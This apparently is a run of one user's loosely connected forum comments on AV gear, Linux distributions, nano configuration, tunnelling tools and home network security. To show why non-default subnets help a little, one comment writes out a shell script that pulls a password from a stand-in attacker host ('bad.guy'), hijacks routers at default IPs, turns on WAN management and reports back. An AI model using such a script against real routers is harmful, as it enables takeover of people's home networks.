Lol yeah, that’s fair. I should add that I was speaking more within the context of a typical outdoor movie night. There’s no video routing or switching, hardly any considerations of formats or frame rates. Pretty much just a laptop and a projector, maybe some quick lap through the picture controls if someone really knows and cares that much. I’ve speced out full multi-site switching rigs with broadcast and IMAG so I know video can get into the weeds just as much as audio. 😅

Yeah, I’m an AV tech and I was going to say this is less an issue with outdoor movies and more a matter of people generally not understanding that a) audio quality contributes more to a good watching experience than video, and b) audio is more complicated to get right than video. Not necessarily difficult, it just requires a little more learning. (For example, recognizing the difference between what’s actually too loud and what’s just not balanced.)

Huh, nifty.

They were stuck in the pit at the top of the cliff (48th), but this will drag them out, over the cliff (49th), and into the pit at the bottom of the cliff (50th).

Note that KDE Linux is completely different from Neon:

• Arch-based
• Immutable
  • /usr is a read-only, atomically updated erofs volume backed by a single file, allowing rollback to any of the last 5 OS images
  • No system package management allowed, only Flatpak, AppImage, distrobox, etc

I love the direction they’re going with it, but I personally won’t be running it because I like to tinker.

Something something about a boat and a helicopter…

Believe me, we’re trying. But we’re tired too, and the people we’re trying to reach are our friends and family, so… it takes time.

+1 for fricking .pcx, gee wizzacles.

Once you configure nano with a ~/.nanorc file, it becomes a lot more like micro/helix without having to install anything on new systems. I just curl my config and I’m good. I have Ctrl+C, Ctrl+V, 2 space tabs, mouse scrolling +selection, syntax highlighting, etc. There’s a lot you can do in there, and that’s not to mention plugins.

Cloudflare tunnels is more than just a reverse proxy, but agreed. That might be the better option regardless. If you’re Cloudflare-averse, you can use Tailscale funnels, or spin up your own rproxy+tunnel solution (there are plenty out there, such as Rathole, Zrok, or frp).

Yeah I know, just making a terrible attempt at humor. 😅

You could print a random letter or graphic(s), preferably on heavier paper, and wrap the cash inside. That should make it a little harder to feel or spot on x-ray.

…and you pay more for other distros?

I’d bet it’s just further self-censoring for fear of being unalived.

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

Well of course it doesn’t, God does.

I mean, postmarketOS supports a pretty decent range, but as far as native Linux phones I’m right with you.

When you buy “chicken” at the store, is it referring to the animal, or the flavor and texture?

EDIT: About the response I was expecting, and I think I agree in this instance. I was just curious to get others’ viewpoints. It might have been better to phrase it as “When you see the word ‘chicken’ on a product…”
